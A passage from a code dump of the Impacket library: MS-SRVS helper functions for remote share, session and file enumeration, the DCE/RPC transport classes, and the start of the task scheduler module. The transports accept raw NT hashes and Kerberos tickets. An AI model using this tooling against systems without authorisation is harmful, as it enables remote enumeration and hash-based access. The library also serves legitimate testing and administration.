(NetrDfsModifyPrefix, NetrDfsModifyPrefixResponse),\n51 : (NetrDfsFixLocalVolume, NetrDfsFixLocalVolumeResponse),\n52 : (NetrDfsManagerReportSiteInfo, NetrDfsManagerReportSiteInfoResponse),\n53 : (NetrServerTransportDelEx, NetrServerTransportDelExResponse),\n54 : (NetrServerAliasAdd, NetrServerAliasAddResponse),\n55 : (NetrServerAliasEnum, NetrServerAliasEnumResponse),\n56 : (NetrServerAliasDel, NetrServerAliasDelResponse),\n57 : (NetrShareDelEx, NetrShareDelExResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hNetrConnectionEnum(dce, qualifier, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):\n    request = NetrConnectionEnum()\n    request['ServerName'] = NULL\n    request['Qualifier'] = qualifier \n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['ConnectInfo']['tag'] = level\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    return dce.request(request)\n\ndef hNetrFileEnum(dce, basePath, userName, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):\n    request = NetrFileEnum()\n    request['ServerName'] = NULL\n    request['BasePath'] = basePath\n    request['UserName'] = userName\n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['FileInfo']['tag'] = level\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    return dce.request(request)\n\ndef hNetrFileGetInfo(dce, fileId, level):\n    request = NetrFileGetInfo()\n    request['ServerName'] = NULL\n    request['FileId'] = fileId\n    request['Level'] = level\n    return dce.request(request)\n\ndef hNetrFileClose(dce, fileId):\n    request = NetrFileClose()\n    request['ServerName'] = NULL\n    request['FileId'] = fileId\n    return dce.request(request)\n\ndef hNetrSessionEnum(dce, clientName, userName, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):\n    request = NetrSessionEnum()\n    request['ServerName'] = NULL\n    request['ClientName'] = clientName\n    request['UserName'] = userName\n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['SessionInfo']['tag'] = level\n    request['InfoStruct']['SessionInfo']['Level%d'%level]['Buffer'] = NULL\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n\n    return dce.request(request)\n\ndef hNetrSessionDel(dce, clientName, userName):\n    request = NetrSessionDel()\n    request['ServerName'] = NULL\n    request['ClientName'] = clientName\n    request['UserName'] = userName\n    return dce.request(request)\n\ndef hNetrShareAdd(dce, level, infoStruct):\n    request = NetrShareAdd()\n    request['ServerName'] = NULL\n    request['Level'] = level\n    request['InfoStruct']['tag'] = level\n    request['InfoStruct']['ShareInfo%d'%level] = infoStruct\n    return dce.request(request)\n\ndef hNetrShareDel(dce, netName):\n    request = NetrShareDel()\n    request['ServerName'] = NULL\n    request['NetName'] = netName\n    return dce.request(request)\n\ndef hNetrShareEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff, serverName = '\\x00'):\n    # serverName example: \"\\\\\\\\1.2.3.4\\x00\"\n    if serverName[-1] != '\\x00':\n        serverName += '\\x00'  # final NULL byte is mandatory\n    request = NetrShareEnum()\n    request['ServerName'] = serverName\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['ShareInfo']['tag'] = level\n    request['InfoStruct']['ShareInfo']['Level%d'%level]['Buffer'] = NULL\n\n    return dce.request(request)\n\ndef hNetrShareEnumSticky(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):\n    request = NetrShareEnumSticky()\n    request['ServerName'] = NULL\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['ShareInfo']['tag'] = level\n    request['InfoStruct']['ShareInfo']['Level%d'%level]['Buffer'] = NULL\n\n    return dce.request(request)\n\ndef hNetrShareGetInfo(dce, netName, level):\n    request = NetrShareGetInfo()\n    request['ServerName'] = NULL\n    request['NetName'] = netName\n    request['Level'] = level\n    return dce.request(request)\n\ndef hNetrShareSetInfo(dce, netName, level, shareInfo):\n    request = NetrShareSetInfo()\n    request['ServerName'] = NULL\n    request['NetName'] = netName\n    request['Level'] = level\n    request['ShareInfo']['tag'] = level\n    request['ShareInfo']['ShareInfo%d'%level] = shareInfo\n\n    return dce.request(request)\n\ndef hNetrShareDelSticky(dce, netName):\n    request = NetrShareDelSticky()\n    request['ServerName'] = NULL\n    request['NetName'] = netName\n    return dce.request(request)\n\n# Sacala la h a estos 2, y tira todos los test cases juntos\ndef hNetrShareDelStart(dce, netName):\n    request = NetrShareDelStart()\n    request['ServerName'] = NULL\n    request['NetName'] = netName\n    return dce.request(request)\n\ndef hNetrShareDelCommit(dce, contextHandle):\n    request = NetrShareDelCommit()\n    request['ContextHandle'] = contextHandle\n    return dce.request(request)\n\ndef hNetrShareCheck(dce, device):\n    request = NetrShareCheck()\n    request['ServerName'] = NULL\n    request['Device'] = device\n    return dce.request(request)\n\ndef hNetrServerGetInfo(dce, level):\n    request = NetrServerGetInfo()\n    request['ServerName'] = NULL\n    request['Level'] = level\n    return dce.request(request)\n\ndef hNetrServerDiskEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):\n    request = NetrServerDiskEnum()\n    request['ServerName'] = NULL\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    request['Level'] = level\n    request['DiskInfoStruct']['Buffer'] = NULL\n    return dce.request(request)\n\ndef hNetrServerStatisticsGet(dce, service, level, options):\n    request = NetrServerStatisticsGet()\n    request['ServerName'] = NULL\n    request['Service'] = service\n    request['Level'] = level\n    request['Options'] = options\n    return dce.request(request)\n\ndef hNetrRemoteTOD(dce):\n    request = NetrRemoteTOD()\n    request['ServerName'] = NULL\n    return dce.request(request)\n\ndef hNetrServerTransportEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):\n    request = NetrServerTransportEnum()\n    request['ServerName'] = NULL\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['XportInfo']['tag'] = level\n    request['InfoStruct']['XportInfo']['Level%d' % level]['Buffer'] = NULL\n    return dce.request(request)\n\ndef hNetrpGetFileSecurity(dce, shareName, lpFileName, requestedInformation):\n    request = NetrpGetFileSecurity()\n    request['ServerName'] = NULL\n    request['ShareName'] = shareName\n    request['lpFileName'] = lpFileName\n    request['RequestedInformation'] = requestedInformation\n    retVal = dce.request(request)\n    return b''.join(retVal['SecurityDescriptor']['Buffer'])\n\ndef hNetrpSetFileSecurity(dce, shareName, lpFileName, securityInformation, securityDescriptor):\n    request = NetrpSetFileSecurity()\n    request['ServerName'] = NULL\n    request['ShareName'] = shareName\n    request['lpFileName'] = lpFileName\n    request['SecurityInformation'] = securityInformation\n    request['SecurityDescriptor']['Length'] = len(securityDescriptor)\n    request['SecurityDescriptor']['Buffer'] = list(securityDescriptor)\n    return dce.request(request)\n\ndef hNetprPathType(dce, pathName, flags):\n    request = NetprPathType()\n    request['ServerName'] = NULL\n    request['PathName'] = pathName\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hNetprPathCanonicalize(dce, pathName, prefix, outbufLen=50, pathType=0, flags=0):\n    request = NetprPathCanonicalize()\n    request['ServerName'] = NULL\n    request['PathName'] = pathName\n    request['OutbufLen'] = outbufLen\n    request['Prefix'] = prefix\n    request['PathType'] = pathType\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hNetprPathCompare(dce, pathName1, pathName2, pathType=0, flags=0):\n    request = NetprPathCompare()\n    request['ServerName'] = NULL\n    request['PathName1'] = pathName1\n    request['PathName2'] = pathName2\n    request['PathType'] = pathType\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hNetprNameValidate(dce, name, nameType, flags=0):\n    request = NetprNameValidate()\n    request['ServerName'] = NULL\n    request['Name'] = name\n    request['NameType'] = nameType\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hNetprNameCanonicalize(dce, name, outbufLen=50, nameType=0, flags=0):\n    request = NetprNameCanonicalize()\n    request['ServerName'] = NULL\n    request['Name'] = name\n    request['OutbufLen'] = outbufLen\n    request['NameType'] = nameType\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hNetprNameCompare(dce, name1, name2, nameType=0, flags=0):\n    request = NetprNameCompare()\n    request['ServerName'] = NULL\n    request['Name1'] = name1\n    request['Name2'] = name2\n    request['NameType'] = nameType\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hNetrDfsGetVersion(dce):\n    request = NetrDfsGetVersion()\n    request['ServerName'] = NULL\n    return dce.request(request)\n\ndef hNetrServerAliasAdd(dce, level, aliasInfo):\n    request = NetrServerAliasAdd()\n    request['ServerName'] = NULL\n    request['Level'] = level\n    request['InfoStruct']['tag'] = level\n    request['InfoStruct']['ServerAliasInfo%d'%level] = aliasInfo\n    return dce.request(request)\n\ndef hNetrServerAliasDel(dce, level, aliasInfo):\n    request = NetrServerAliasDel()\n    request['ServerName'] = NULL\n    request['Level'] = level\n    request['InfoStruct']['tag'] = level\n    request['InfoStruct']['ServerAliasInfo%d'%level] = aliasInfo\n    return dce.request(request)\n\ndef hNetrServerAliasEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff):\n    request = NetrServerAliasEnum()\n    request['ServerName'] = NULL\n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['ServerAliasInfo']['tag'] = level\n    request['InfoStruct']['ServerAliasInfo']['Level%d' % level]['Buffer'] = NULL\n    request['PreferedMaximumLength'] = preferedMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/transport.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Transport implementations for the DCE/RPC protocol.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport binascii\nimport os\nimport re\nimport socket\n\ntry:\n    from urllib.parse import urlparse, urlunparse\nexcept ImportError:\n    from urlparse import urlparse, urlunparse\n\nfrom impacket import ntlm\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException, DCERPC_v5, DCERPC_v4\nfrom impacket.dcerpc.v5.rpch import RPCProxyClient, RPCProxyClientException, RPC_OVER_HTTP_v1, RPC_OVER_HTTP_v2\nfrom impacket.smbconnection import SMBConnection\n\n\nclass DCERPCStringBinding:\n    parser = re.compile(r\"(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?\" +  # UUID (opt.)\n                        r\"([_a-zA-Z0-9]*):\" +  # Protocol Sequence\n                        r\"([^\\[]*)\" +  # Network Address (opt.)\n                        r\"(?:\\[([^]]*)])?\")  # Endpoint and options (opt.)\n\n    def __init__(self, stringbinding):\n        match = DCERPCStringBinding.parser.match(stringbinding)\n        self.__uuid = match.group(1)\n        self.__ps = match.group(2)\n        self.__na = match.group(3)\n        options = match.group(4)\n        if options:\n            options = options.split(',')\n            \n            self.__endpoint = options[0]\n            try:\n                self.__endpoint.index('endpoint=')\n                self.__endpoint = self.__endpoint[len('endpoint='):]\n            except:\n                pass\n\n            self.__options = {}\n            for option in options[1:]:\n                vv = option.split('=', 1)\n                self.__options[vv[0]] = vv[1] if len(vv) > 1 else ''\n        else:\n            self.__endpoint = ''\n            self.__options = {}\n\n    def get_uuid(self):\n        return self.__uuid\n\n    def get_protocol_sequence(self):\n        return self.__ps\n\n    def get_network_address(self):\n        return self.__na\n\n    def set_network_address(self, addr):\n        self.__na = addr\n\n    def get_endpoint(self):\n        return self.__endpoint\n\n    def get_options(self):\n        return self.__options\n\n    def get_option(self, option_name):\n        return self.__options[option_name]\n\n    def is_option_set(self, option_name):\n        return option_name in self.__options\n\n    def unset_option(self, option_name):\n        del self.__options[option_name]\n\n    def __str__(self):\n        return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options)\n\n\ndef DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options={}):\n    s = ''\n    if uuid:\n        s += uuid + '@'\n    s += protocol_sequence + ':'\n    if network_address:\n        s += network_address\n    if endpoint or options:\n        s += '[' + endpoint\n        if options:\n            s += ',' + ','.join([key if str(val) == '' else \"=\".join([key, str(val)]) for key, val in options.items()])\n        s += ']'\n\n    return s\n\n\ndef DCERPCTransportFactory(stringbinding):\n    sb = DCERPCStringBinding(stringbinding)\n\n    na = sb.get_network_address()\n    ps = sb.get_protocol_sequence()\n    if 'ncadg_ip_udp' == ps:\n        port = sb.get_endpoint()\n        if port:\n            rpctransport = UDPTransport(na, int(port))\n        else:\n            rpctransport = UDPTransport(na)\n    elif 'ncacn_ip_tcp' == ps:\n        port = sb.get_endpoint()\n        if port:\n            rpctransport = TCPTransport(na, int(port))\n        else:\n            rpctransport = TCPTransport(na)\n    elif 'ncacn_http' == ps:\n        port = sb.get_endpoint()\n        if port:\n            rpctransport = HTTPTransport(na, int(port))\n        else:\n            rpctransport = HTTPTransport(na)\n    elif 'ncacn_np' == ps:\n        named_pipe = sb.get_endpoint()\n        if named_pipe:\n            named_pipe = named_pipe[len(r'\\pipe'):]\n            rpctransport = SMBTransport(na, filename = named_pipe)\n        else:\n            rpctransport = SMBTransport(na)\n    elif 'ncalocal' == ps:\n        named_pipe = sb.get_endpoint()\n        rpctransport = LOCALTransport(filename = named_pipe)\n    else:\n        raise DCERPCException(\"Unknown protocol sequence.\")\n\n    rpctransport.set_stringbinding(sb)\n    return rpctransport\n\nclass DCERPCTransport:\n\n    DCERPC_class = DCERPC_v5\n\n    def __init__(self, remoteName, dstport):\n        self.__remoteName = remoteName\n        self.__remoteHost = remoteName\n        self.__dstport = dstport\n        self._stringbinding = None\n        self._max_send_frag = None\n        self._max_recv_frag = None\n        self._domain = ''\n        self._lmhash = ''\n        self._nthash = ''\n        self.__connect_timeout = None\n        self._doKerberos = False\n        self._username = ''\n        self._password = ''\n        self._domain   = ''\n        self._aesKey   = None\n        self._TGT      = None\n        self._TGS      = None\n        self._kdcHost  = None\n        self.set_credentials('','')\n        # Strict host validation - off by default and currently only for\n        # SMBTransport\n        self._strict_hostname_validation = False\n        self._validation_allow_absent = True\n        self._accepted_hostname = ''\n\n    def connect(self):\n        raise RuntimeError('virtual function')\n    def send(self,data=0, forceWriteAndx = 0, forceRecv = 0):\n        raise RuntimeError('virtual function')\n    def recv(self, forceRecv = 0, count = 0):\n        raise RuntimeError('virtual function')\n    def disconnect(self):\n        raise RuntimeError('virtual function')\n    def get_socket(self):\n        raise RuntimeError('virtual function')\n\n    def get_connect_timeout(self):\n        return self.__connect_timeout\n    def set_connect_timeout(self, timeout):\n        self.__connect_timeout = timeout\n\n    def getRemoteName(self):\n        return self.__remoteName\n\n    def setRemoteName(self, remoteName):\n        \"\"\"This method only makes sense before connection for most protocols.\"\"\"\n        self.__remoteName = remoteName\n\n    def getRemoteHost(self):\n        return self.__remoteHost\n\n    def setRemoteHost(self, remoteHost):\n        \"\"\"This method only makes sense before connection for most protocols.\"\"\"\n        self.__remoteHost = remoteHost\n\n    def get_dport(self):\n        return self.__dstport\n    def set_dport(self, dport):\n        \"\"\"This method only makes sense before connection for most protocols.\"\"\"\n        self.__dstport = dport\n\n    def get_stringbinding(self):\n        return self._stringbinding\n\n    def set_stringbinding(self, stringbinding):\n        self._stringbinding = stringbinding\n\n    def get_addr(self):\n        return self.getRemoteHost(), self.get_dport()\n    def set_addr(self, addr):\n        \"\"\"This method only makes sense before connection for most protocols.\"\"\"\n        self.setRemoteHost(addr[0])\n        self.set_dport(addr[1])\n\n    def set_kerberos(self, flag, kdcHost = None):\n        self._doKerberos = flag\n        self._kdcHost = kdcHost\n\n    def get_kerberos(self):\n        return self._doKerberos\n\n    def get_kdcHost(self):\n        return self._kdcHost\n\n    def set_max_fragment_size(self, send_fragment_size):\n        # -1 is default fragment size: 0 (don't fragment)\n        #  0 is don't fragment\n        #    other values are max fragment size\n        if send_fragment_size == -1:\n            self.set_default_max_fragment_size()\n        else:\n            self._max_send_frag = send_fragment_size\n\n    def set_hostname_validation(self, validate, accept_empty, hostname):\n        self._strict_hostname_validation = validate\n        self._validation_allow_absent = accept_empty\n        self._accepted_hostname = hostname\n\n    def set_default_max_fragment_size(self):\n        # default is 0: don't fragment.\n        # subclasses may override this method\n        self._max_send_frag = 0\n\n    def get_credentials(self):\n        return (\n            self._username,\n            self._password,\n            self._domain,\n            self._lmhash,\n            self._nthash,\n            self._aesKey,\n            self._TGT,\n            self._TGS)\n\n    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):\n        self._username = username\n        self._password = password\n        self._domain   = domain\n        self._aesKey   = aesKey\n        self._TGT      = TGT\n        self._TGS      = TGS\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:\n                lmhash = '0%s' % lmhash\n            if len(nthash) % 2:\n                nthash = '0%s' % nthash\n            try: # just in case they were converted already\n               self._lmhash = binascii.unhexlify(lmhash)\n               self._nthash = binascii.unhexlify(nthash)\n            except:\n               self._lmhash = lmhash\n               self._nthash = nthash\n               pass\n\n    def doesSupportNTLMv2(self):\n        # By default we'll be returning the library's default. Only on SMB Transports we might be able to know it beforehand\n        return ntlm.USE_NTLMv2\n\n    def get_dce_rpc(self):\n        return DCERPC_v5(self)\n\nclass UDPTransport(DCERPCTransport):\n    \"Implementation of ncadg_ip_udp protocol sequence\"\n\n    DCERPC_class = DCERPC_v4\n\n    def __init__(self, remoteName, dstport = 135):\n        DCERPCTransport.__init__(self, remoteName, dstport)\n        self.__socket = 0\n        self.set_connect_timeout(30)\n        self.__recv_addr = ''\n\n    def connect(self):\n        try:\n            af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_DGRAM)[0]\n            self.__socket = socket.socket(af, socktype, proto)\n            self.__socket.settimeout(self.get_connect_timeout())\n        except socket.error as msg:\n            self.__socket = None\n            raise DCERPCException(\"Could not connect: %s\" % msg)\n\n        return 1\n\n    def disconnect(self):\n        try:\n            self.__socket.close()\n        except socket.error:\n            self.__socket = None\n            return 0\n        return 1\n\n    def send(self,data, forceWriteAndx = 0, forceRecv = 0):\n        self.__socket.sendto(data, (self.getRemoteHost(), self.get_dport()))\n\n    def recv(self, forceRecv = 0, count = 0):\n        buffer, self.__recv_addr = self.__socket.recvfrom(8192)\n        return buffer\n\n    def get_recv_addr(self):\n        return self.__recv_addr\n\n    def get_socket(self):\n        return self.__socket\n\nclass TCPTransport(DCERPCTransport):\n    \"\"\"Implementation of ncacn_ip_tcp protocol sequence\"\"\"\n\n    def __init__(self, remoteName, dstport = 135):\n        DCERPCTransport.__init__(self, remoteName, dstport)\n        self.__socket = 0\n        self.set_connect_timeout(30)\n\n    def connect(self):\n        af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_STREAM)[0]\n        self.__socket = socket.socket(af, socktype, proto)\n        try:\n            self.__socket.settimeout(self.get_connect_timeout())\n            self.__socket.connect(sa)\n        except socket.error as msg:\n            self.__socket.close()\n            raise DCERPCException(\"Could not connect: %s\" % msg)\n        return 1\n\n    def disconnect(self):\n        try:\n            self.__socket.close()\n        except socket.error:\n            self.__socket = None\n            return 0\n        return 1\n\n    def send(self,data, forceWriteAndx = 0, forceRecv = 0):\n        if self._max_send_frag:\n            offset = 0\n            while 1:\n                toSend = data[offset:offset+self._max_send_frag]\n                if not toSend:\n                    break\n                self.__socket.send(toSend)\n                offset += len(toSend)\n        else:\n            self.__socket.send(data)\n\n    def recv(self, forceRecv = 0, count = 0):\n        if count:\n            buffer = b''\n            chunk = b''\n            while len(buffer) < count:\n                chunk = self.__socket.recv(count-len(buffer))\n                if chunk != b'':\n                    buffer += chunk\n                else:\n                    raise DCERPCException(\"Connection closed by remote host\")\n        else:\n            buffer = self.__socket.recv(8192)\n        return buffer\n\n    def get_socket(self):\n        return self.__socket\n\nclass HTTPTransport(TCPTransport, RPCProxyClient):\n    \"\"\"Implementation of ncacn_http protocol sequence\"\"\"\n\n    def __init__(self, remoteName=None, dstport=593):\n        self._useRpcProxy = False\n        self._rpcProxyUrl = None\n        self._transport   = TCPTransport\n        self._version     = RPC_OVER_HTTP_v2\n\n        DCERPCTransport.__init__(self, remoteName, dstport)\n        RPCProxyClient.__init__(self, remoteName, dstport)\n        self.set_connect_timeout(30)\n\n    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):\n        return self._transport.set_credentials(self, username, password,\n            domain, lmhash, nthash, aesKey, TGT, TGS)\n\n    def rpc_proxy_init(self):\n        self._useRpcProxy = True\n        self._transport   = RPCProxyClient\n\n    def set_rpc_proxy_url(self, url):\n        self.rpc_proxy_init()\n        self._rpcProxyUrl = urlparse(url)\n\n    def get_rpc_proxy_url(self):\n        return urlunparse(self._rpcProxyUrl)\n\n    def set_stringbinding(self, set_stringbinding):\n        DCERPCTransport.set_stringbinding(self, set_stringbinding)\n\n        if self._stringbinding.is_option_set(\"RpcProxy\"):\n            self.rpc_proxy_init()\n\n            rpcproxy = self._stringbinding.get_option(\"RpcProxy\").split(\":\")\n\n            if rpcproxy[1] == '443':\n                self.set_rpc_proxy_url('https://%s/rpc/rpcproxy.dll' % rpcproxy[0])\n            elif rpcproxy[1] == '80':\n                self.set_rpc_proxy_url('http://%s/rpc/rpcproxy.dll' % rpcproxy[0])\n            else:\n                # 2.1.2.1\n                # RPC over HTTP always uses port 80 for HTTP traffic and port 443 for HTTPS traffic.\n                # But you can use set_rpc_proxy_url method to set any URL / query you want.\n                raise DCERPCException(\"RPC Proxy port must be 80 or 443\")\n\n    def connect(self):\n        if self._useRpcProxy == False:\n            # Connecting directly to the ncacn_http port\n            #\n            # Here we using RPC over HTTPv1 instead complex RPC over HTTP v2 syntax\n            # RPC over HTTP v2 here can be implemented in the future\n            self._version = RPC_OVER_HTTP_v1\n\n            TCPTransport.connect(self)\n\n            # Reading legacy server response\n            data = self.get_socket().recv(8192)\n\n            if data != b'ncacn_http/1.0':\n                raise DCERPCException(\"%s:%s service is not ncacn_http\" % (self.__remoteName, self.__dstport))\n        else:\n            RPCProxyClient.connect(self)\n\n    def send(self, data, forceWriteAndx=0, forceRecv=0):\n        return self._transport.send(self, data, forceWriteAndx, forceRecv)\n\n    def recv(self, forceRecv=0, count=0):\n        return self._transport.recv(self, forceRecv, count)\n\n    def get_socket(self):\n        if self._useRpcProxy == False:\n            return TCPTransport.get_socket(self)\n        else:\n            raise DCERPCException(\"This method is not supported for RPC Proxy connections\")\n\n    def disconnect(self):\n        return self._transport.disconnect(self)\n\nclass SMBTransport(DCERPCTransport):\n    \"\"\"Implementation of ncacn_np protocol sequence\"\"\"\n\n    def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',\n                 aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):\n        DCERPCTransport.__init__(self, remoteName, dstport)\n        self.__socket = None\n        self.__tid = 0\n        self.__filename = filename\n        self.__handle = 0\n        self.__pending_recv = 0\n        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)\n        self._doKerberos = doKerberos\n        self._kdcHost = kdcHost\n\n        if remote_host != '':\n            self.setRemoteHost(remote_host)\n\n        if smb_connection == 0:\n            self.__existing_smb = False\n        else:\n            self.__existing_smb = True\n            self.set_credentials(*smb_connection.getCredentials())\n\n        self.__prefDialect = None\n        self.__smb_connection = smb_connection\n        self.set_connect_timeout(30)\n\n    def preferred_dialect(self, dialect):\n        self.__prefDialect = dialect\n\n    def setup_smb_connection(self):\n        if not self.__smb_connection:\n            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),\n                                                  preferredDialect=self.__prefDialect, timeout=self.get_connect_timeout())\n            if self._strict_hostname_validation:\n                self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname)\n\n    def connect(self):\n        # Check if we have a smb connection already setup\n        if self.__smb_connection == 0:\n            self.setup_smb_connection()\n            if self._doKerberos is False:\n                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)\n            else:\n                self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,\n                                                    self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,\n                                                    TGS=self._TGS)\n        self.__tid = self.__smb_connection.connectTree('IPC$')\n        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)\n        self.__socket = self.__smb_connection.getSMBServer().get_socket()\n        return 1\n\n    def disconnect(self):\n        self.__smb_connection.disconnectTree(self.__tid)\n        # If we created the SMB connection, we close it, otherwise\n        # that's up for the caller\n        if self.__existing_smb is False:\n            self.__smb_connection.logoff()\n            self.__smb_connection.close()\n            self.__smb_connection = 0\n\n    def send(self,data, forceWriteAndx = 0, forceRecv = 0):\n        if self._max_send_frag:\n            offset = 0\n            while 1:\n                toSend = data[offset:offset+self._max_send_frag]\n                if not toSend:\n                    break\n                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)\n                offset += len(toSend)\n        else:\n            self.__smb_connection.writeFile(self.__tid, self.__handle, data)\n        if forceRecv:\n            self.__pending_recv += 1\n\n    def recv(self, forceRecv = 0, count = 0 ):\n        if self._max_send_frag or self.__pending_recv:\n            # _max_send_frag is checked because it's the same condition we checked\n            # to decide whether to use write_andx() or send_trans() in send() above.\n            if self.__pending_recv:\n                self.__pending_recv -= 1\n            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)\n        else:\n            return self.__smb_connection.readFile(self.__tid, self.__handle)\n\n    def get_smb_connection(self):\n        return self.__smb_connection\n\n    def set_smb_connection(self, smb_connection):\n        self.__smb_connection = smb_connection\n        self.set_credentials(*smb_connection.getCredentials())\n        self.__existing_smb = True\n\n    def get_smb_server(self):\n        # Raw Access to the SMBServer (whatever type it is)\n        return self.__smb_connection.getSMBServer()\n\n    def get_socket(self):\n        return self.__socket\n\n    def doesSupportNTLMv2(self):\n        return self.__smb_connection.doesSupportNTLMv2()\n\nclass LOCALTransport(DCERPCTransport):\n    \"\"\"\n    Implementation of ncalocal protocol sequence, not the same\n    as ncalrpc (I'm not doing LPC just opening the local pipe)\n    \"\"\"\n\n    def __init__(self, filename = ''):\n        DCERPCTransport.__init__(self, '', 0)\n        self.__filename = filename\n        self.__handle = 0\n\n    def connect(self):\n        if self.__filename.upper().find('PIPE') < 0:\n            self.__filename = '\\\\PIPE\\\\%s' % self.__filename\n        self.__handle = os.open('\\\\\\\\.\\\\%s' % self.__filename, os.O_RDWR|os.O_BINARY)\n        return 1\n\n    def disconnect(self):\n        os.close(self.__handle)\n\n    def send(self,data, forceWriteAndx = 0, forceRecv = 0):\n        os.write(self.__handle, data)\n\n    def recv(self, forceRecv = 0, count = 0 ):\n        data = os.read(self.__handle, 65535)\n        return data\n"
  },
  {
    "path": "impacket/dcerpc/v5/tsch.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-TSCH] ITaskSchedulerService Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME\nfrom impacket.structure import Structure\nfrom impacket import hresult_errors, system_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nMSRPC_UUID_TSCHS  = uuidtup_to_bin(('86D35949-83C9-4044-B424-DB363231FD0C','1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        elif key & 0xffff in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]\n            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.3.1 Constant Values\nCNLEN = 15\nDNLEN = 